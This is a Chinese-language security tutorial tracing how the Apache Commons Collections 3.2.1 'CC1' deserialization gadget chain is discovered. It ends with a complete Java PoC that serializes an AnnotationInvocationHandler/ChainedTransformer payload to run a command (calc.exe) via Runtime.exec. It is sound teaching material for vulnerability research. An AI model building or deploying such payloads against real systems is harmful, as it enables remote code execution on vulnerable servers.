前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造

原创
作者头像
亿人安全
发布2025-03-04 18:13:41
发布2025-03-04 18:13:41
5600
代码可运行
举报
文章被收录于专栏:红蓝对抗红蓝对抗
运行总次数:0
代码可运行

前言

Apache Commons Collections 是一个开源的 Java 工具类库,属于 Apache Commons 项目的一部分。它提供了许多扩展和增强标准 Java 集合框架的功能,帮助开发者更高效地处理集合操作。

环境准备

  • CommonsCollections <= 3.2.1
  • jdk1.8.0_65(JDK版本必须在1.8.0_71以下)

附带CC的jar文件和源代码的下载地址

https://commons.apache.org/proper/commons-collections/

记得在pom.xml里添加依赖

代码语言:javascript
代码运行次数:0
复制
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

CC1链调用过程

代码语言:javascript
代码运行次数:0
复制
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map().setValue()
TransformedMap.decorate()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

CC链的调用梳理

在org/apache/commons/collections/functors存在InvokerTransformer类,该类的定义如下:

代码语言:javascript
代码运行次数:0
复制
public class InvokerTransformer implements Transformer, Serializable {

/** The serial version */
private static final long serialVersionUID = -8653385846894047688L;

/** The method name to call */
private final String iMethodName;
/** The array of reflection parameter types */
private final Class[] iParamTypes;
/** The array of reflection arguments */
private final Object[] iArgs;

可见该类实现了Serializable所以可被反序列化和反序列化。在此类中存在Tranformer方法,cc1链梦开始的地方。

对Tranformer方法进行审计,我们发现,Tranformer方法通过反射机制动态调用传入对象的指定方法(方法名和参数类型由类属性指定),并返回方法的执行结果;如果传入对象为null,则直接返回null

1740998307_67c586a3c9b93789210c5.png!small?1740998308363
1740998307_67c586a3c9b93789210c5.png!small?1740998308363

那么如果我们直接传入Runtime对象,并将InvokerTransformer类的类属性设置为执行命令的参数,不就可以达到命令执行的效果了嘛。

于是我们开始验证

代码语言:javascript
代码运行次数:0
复制
public void test1() throws Exception{
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
invokerTransformer.transform(runtime);
}
1740998328_67c586b88c90888423644.png!small?1740998329016
1740998328_67c586b88c90888423644.png!small?1740998329016

代码执行的结果表明,InvokerTransfomer类的transform方法完全可以作为漏洞执行的终点。

下一步我们就要查找哪里调用了InvokerTransfomer类的transform方法。

1740998344_67c586c81937883292849.png!small?1740998344783
1740998344_67c586c81937883292849.png!small?1740998344783

说实话真的好多,最后在TransformedMap类里边的checkSetValue()通过valueTransformer调用了transform。

1740998357_67c586d5cd7175c39b351.png!small?1740998358151
1740998357_67c586d5cd7175c39b351.png!small?1740998358151

而valueTransformer来源于TransformedMap类的构造方法,因此我们就可以控制调用类,执行其transform方法。

但是有一个问题,TransformedMap类的构造方法修饰符为protected。

1740998373_67c586e5df665a1255296.png!small?1740998374410
1740998373_67c586e5df665a1255296.png!small?1740998374410

说明外部无法调用,那么只能通过内部调用。于是我们在本类内部找到了两处调用构造方法的方法。

1740998387_67c586f30508dc165e9b5.png!small?1740998387486
1740998387_67c586f30508dc165e9b5.png!small?1740998387486
1740998397_67c586fd91a97d0d4e797.png!small?1740998397944
1740998397_67c586fd91a97d0d4e797.png!small?1740998397944
1740998406_67c587063b7b3cf4d77ad.png!small?1740998407443
1740998406_67c587063b7b3cf4d77ad.png!small?1740998407443

我们优先使用TransformedMap#decorate(因为比较简单)

通过TransformedMap#decorate实例化TransformedMap对象

代码语言:javascript
代码运行次数:0
复制
public void test2(){
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
Map map = new HashMap();
map.put("key", "value");
Transformer keyTransformer = null;
Transformer valueTransformer = invokerTransformer;
Map<Object, Object> transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);

}

调用checkSetvalue方法

1740998422_67c58716bdf60520a03d4.png!small?1740998423257
1740998422_67c58716bdf60520a03d4.png!small?1740998423257

这里显示报错,原因是TransformedMap#decorate返回map对象,所以transformedMap是由Map声明,所以不能直接调用checkSetvalue。只能再找哪里调用了checkSetValue。

1740998433_67c58721ef68b9536428a.png!small?1740998434620
1740998433_67c58721ef68b9536428a.png!small?1740998434620

可以看到AbstractInputCheckedMapDecorator类下边的静态内部类MapEntry中的setValue调用了checkSetValue。注意静态类不必实例化,可以直接由当前类调用的类。另外AbstractMapDecorator 是一个抽象类,为装饰一个 Map 提供了基类,AbstractInputCheckedMapDecorator 继承自它,而 TransformedMap 又继承自 AbstractInputCheckedMapDecorator。

所以,此时可以构造以下代码,实现调用。说明这一段链条成立

代码语言:javascript
代码运行次数:0
复制
public void test2(){
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
Map map = new HashMap();
map.put("key", "value");
Transformer keyTransformer = null;
Transformer valueTransformer = invokerTransformer;
Map<Object, Object> transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
for (Map.Entry entry: transformedMap.entrySet()) {
entry.setValue(runtime);    // 此处调用setValue时会触发整个链条,打开计算器
}

}
1740998451_67c5873324d092b991247.png!small?1740998451726
1740998451_67c5873324d092b991247.png!small?1740998451726

注意:entrySet()的源头来自父类AbstractMapDecorator的默认实现。

接下来寻找谁在调用AbstractMapDecorator类下的静态类的setValue(),最后在JDK内置的对象sun.reflect.annotation.AnnotationInvocationHandler中重写的readObject方法发现在调用setValue方法

1740998461_67c5873d845e40080097b.png!small?1740998462119
1740998461_67c5873d845e40080097b.png!small?1740998462119
1740998469_67c58745a073033041366.png!small?1740998470091
1740998469_67c58745a073033041366.png!small?1740998470091

而且AnnotationInvocationHandler类继承了Serializeble接口。

如果这条调用链成立,那么我们直接将AnnotationInvocationHandler的序列化即可完成操作,并且通过readObject在反序列化就可以实现链条的调用。

接下来我们进行尝试:

发现AnnotationInvocationHandler访问修饰符为default,在外部无法直接被实例化,所以只能尝试使用反射进行实例化操作。而且

我们来看下AnnotationInvocationHandler的构造方法

1740998480_67c58750ebc2a7166e33c.png!small?1740998481371
1740998480_67c58750ebc2a7166e33c.png!small?1740998481371

构造函数参数要接受两个参数值,一个注解类型,一个map,另外,我们注意到调用点memberValue来源于AnnotationInvocationHandler的类属性memberValues。

于是写出以下序列化代码:

代码语言:javascript
代码运行次数:0
复制
public void test3() throws Exception {
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
Map map = new HashMap();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, transformedMap);
FileOutputStream ser = new FileOutputStream("./cc1.ser");
ObjectOutputStream result = new ObjectOutputStream(ser);
result.writeObject(obj);
System.out.println("ser ok");
}

接着我们进行反序列化操作,发现并不能弹出计算机。

1740998496_67c5876063ef3a628752c.png!small?1740998496974
1740998496_67c5876063ef3a628752c.png!small?1740998496974

我们动调来确定是什么原因引起的:

发现代码无法执行到setValue方法处。

1740998510_67c5876e1e3baaf658822.png!small?1740998511115
1740998510_67c5876e1e3baaf658822.png!small?1740998511115

memberType 来源于通过调用 AnnotationType.getInstance(type) 获取的 AnnotationType 对象中的 memberTypes() 映射,包含将注解成员名称。(注解学习链接:https://www.cnblogs.com/wobushitiegan/p/12460575.html)

而Override 注解没有任何成员方法,所以通过 AnnotationType.getInstance(Override.class) 得到的 memberTypes 映射为空。

1740998522_67c5877a789904cd097a6.png!small?1740998522812
1740998522_67c5877a789904cd097a6.png!small?1740998522812

因此,我们需要找到有成员方法的注解。就比如Target注解

1740998531_67c58783502323dae4ae8.png!small?1740998531678
1740998531_67c58783502323dae4ae8.png!small?1740998531678

然后我们继续调试,很遗憾,依旧不行

1740998553_67c587998efc4c26aa31a.png!small?1740998554127
1740998553_67c587998efc4c26aa31a.png!small?1740998554127

但是我们注意到memberTypes为hashmap,hashmap的键名为value,值为那一串。所以name的值应该为value(此时为key)。

而name是通过调用 memberValue.getKey() 获得的, memberValue 来自于对 memberValues.entrySet() 的遍历。所以我们仅需要修改在我们前面构造的map,将键名改为value,值随意。

1740998542_67c5878ecb23571d5bf9e.png!small?1740998543487
1740998542_67c5878ecb23571d5bf9e.png!small?1740998543487

于是代码修改如下

代码语言:javascript
代码运行次数:0
复制
public void test3() throws Exception {
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
Map map = new HashMap();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
FileOutputStream ser = new FileOutputStream("./cc1.ser");
ObjectOutputStream result = new ObjectOutputStream(ser);
result.writeObject(obj);
System.out.println("ser ok");
}

我们继续动调

1740998620_67c587dc674df7c7e399a.png!small?1740998620896
1740998620_67c587dc674df7c7e399a.png!small?1740998620896

已经成功进入。但是仍旧没弹计算器,甚至还会抛异常。究其原因,是执行过程中,到达漏洞触发点发现并没有将Runtime对象传进来

1740998629_67c587e579543e568e52d.png!small?1740998630143
1740998629_67c587e579543e568e52d.png!small?1740998630143
1740998637_67c587ed7a587dc41acea.png!small?1740998637860
1740998637_67c587ed7a587dc41acea.png!small?1740998637860

我们对此进行分析,是因为在AnnotationInvocationHandler的452行,出现了 new AnnotationTypeMismatchExceptionProxy 代码,写死了传入的类。

1740998648_67c587f853f777c9fff9a.png!small?1740998648751
1740998648_67c587f853f777c9fff9a.png!small?1740998648751

那么如何解决呢,核心思路就是替换AnnotationTypeMismatchExceptionProxy类实例为Runtime对象。这里不得不佩服构造出cc1链的人,找到了ConstantTransformer

这个类的transform很有意思

代码语言:javascript
代码运行次数:0
复制
public ConstantTransformer(Object constantToReturn) {//构造方法
super();
iConstant = constantToReturn;
}


public Object transform(Object input) {
return iConstant;
}

无论传入什么类型,都只返回iConstant,而iConstant是ConstantTransformer类的属性。只要我们将类属性设置为Runtime,不就可以完成cc1链的调用了么。

但是最后还有一个问题,在未进行序列化之前的构造链的Runtime对象是我们自己new出来的,但是我们查看Runtime类,发现并没有实现Serializable,所以不可被反序列化和反序列化。

1740998724_67c58844b670d18c4c450.png!small?1740998725271
1740998724_67c58844b670d18c4c450.png!small?1740998725271

但是类的原型class是可以被序列化的,因此我们需要通过Class入手,构造出来Runtime对象,也就是通过反射。

1740998737_67c58851c11036ab0238b.png!small?1740998738207
1740998737_67c58851c11036ab0238b.png!small?1740998738207

代码如下:

代码语言:javascript
代码运行次数:0
复制
public void run_test() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
//        Runtime r=Runtime.getRuntime();
Class<?> c = Runtime.class;

// 获取 getRuntime() 方法
Method getRuntimeMethod = c.getMethod("getRuntime");

// 调用 getRuntime() 方法,获取 Runtime 实例
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null);

// 获取 exec(String) 方法
Method execMethod = c.getDeclaredMethod("exec", String.class);

// 调用 exec("calc") 方法
execMethod.invoke(runtime, "calc");


}

可以执行

1740998750_67c5885e29f4d19e1f7c0.png!small?1740998750723
1740998750_67c5885e29f4d19e1f7c0.png!small?1740998750723

然后我们将其改成通过InvokerTransformer反射调用。

代码语言:javascript
代码运行次数:0
复制
public void Invok_run_test(){
// 通过InvokerTransformer反射调用Runtime.class中的"getMethod"方法,
// 获取到代表Runtime.getRuntime()方法的Method对象
Method getRuntimeMethod = (Method) new InvokerTransformer(
"getMethod",                        // 要调用的方法名称
new Class[]{String.class, Class[].class}, // 参数类型数组:方法名和参数类型数组
new Object[]{"getRuntime", new Class[]{}}  // 参数值:方法名称"getRuntime"和空的参数类型数组
).transform(Runtime.class);             // 在Runtime的Class对象上执行transform

// 使用InvokerTransformer反射调用刚才获取的getRuntimeMethod的"invoke"方法,
// 从而调用getRuntime()方法获得Runtime实例
Runtime runtime = (Runtime) new InvokerTransformer(
"invoke",                           // 要调用的方法名称
new Class[]{Object.class, Object[].class}, // 参数类型数组:目标对象和参数数组
new Object[]{null, new Object[]{}}         // 参数值:静态方法调用时目标对象为null,且无参数
).transform(getRuntimeMethod);

// 使用InvokerTransformer反射调用Runtime实例中的"exec"方法,
// 执行"calc"命令,启动计算器程序(适用于Windows系统)
new InvokerTransformer(
"exec",                             // 要调用的方法名称,即exec方法
new Class[]{String.class},          // 参数类型数组,表示exec方法的参数类型为String
new Object[]{"calc"}                // 参数值数组,这里传入"calc"命令
).transform(runtime);                   // 在runtime实例上执行transform
}
1740998770_67c58872ec80997ee7d9e.png!small?1740998771698
1740998770_67c58872ec80997ee7d9e.png!small?1740998771698

该代码中分别创建了三个 InvokerTransformer 对象来依次调用,无法将多个操作连贯地组合成一个整体。

我们观察以上代码像不像链式调用,也就是上一步的输出作为下一步的输入。而且在实际利用过程中,我们需要一个延迟执行且能够序列化传输的 gadget 链,这时也就引入了另外一个类ChainedTransformer,该类也存在transform方法,代码及说明如下:

代码语言:javascript
代码运行次数:0
复制
public Object transform(Object object) {
// 遍历每个转换器
for (int i = 0; i < iTransformers.length; i++) {
// 将当前对象传递给转换器,并将结果赋值回对象
object = iTransformers[i].transform(object);
}
// 返回最终转换结果
return object;
}
||
A=B.transform(c)//第一轮
D=E.transform(A)//第二轮

按照以上代码的思路,假如如果我们给iTransformer赋值为ConstantTransformer就会调用ConstantTransformer的transform,如果给iTransformer赋值为InvokerTransformer就会调用InvokerTransformer的transform,那么通过将 ConstantTransformer 和 InvokerTransformer 组合到 ChainedTransformer 中,可以构建一个转换链,实现复杂的对象转换或方法调用。例如,首先使用 ConstantTransformer 返回 Runtime.class,然后通过一系列 InvokerTransformer 调用 getMethod、invoke 和 exec 方法,最终执行系统命令。

于是生成了我们最终的序列化调用链:

代码语言:javascript
代码运行次数:0
复制
public void result_poc() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
// 链式调用,逐步赋值
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "aaaaa");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
FileOutputStream fos = new FileOutputStream("./apachecc1_result.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}

我们动调,看下具体的反序列化过程:

在TransformedMap类中valueTransformer值为ChainedTransformer,所以下一步去调用ChainedTransformer#transforme

1740998804_67c58894bf5d6ec5bbff4.png!small?1740998806145
1740998804_67c58894bf5d6ec5bbff4.png!small?1740998806145
1740998815_67c5889fbb3627d0be086.png!small?1740998816366
1740998815_67c5889fbb3627d0be086.png!small?1740998816366

第一轮,是AnnotationTypeMismatchExceptionProxy类

1740998825_67c588a95a6afd5f39852.png!small?1740998825995
1740998825_67c588a95a6afd5f39852.png!small?1740998825995

调用ConstantTransformer#transformer,传入的是AnnotationTypeMismatchExceptionProxy,返回的是Runtime

1740998836_67c588b404b3a52e4d09a.png!small?1740998836525
1740998836_67c588b404b3a52e4d09a.png!small?1740998836525

获取Runtime的getRuntime方法

1740998849_67c588c1bff5eb4c6f6c1.png!small?1740998850302
1740998849_67c588c1bff5eb4c6f6c1.png!small?1740998850302

最后获取实例,弹出计算器

1740998860_67c588cc28ef6c1561ba8.png!small?1740998860729
1740998860_67c588cc28ef6c1561ba8.png!small?1740998860729

CC1链构造完毕。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 环境准备
  • CC1链调用过程
  • CC链的调用梳理
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档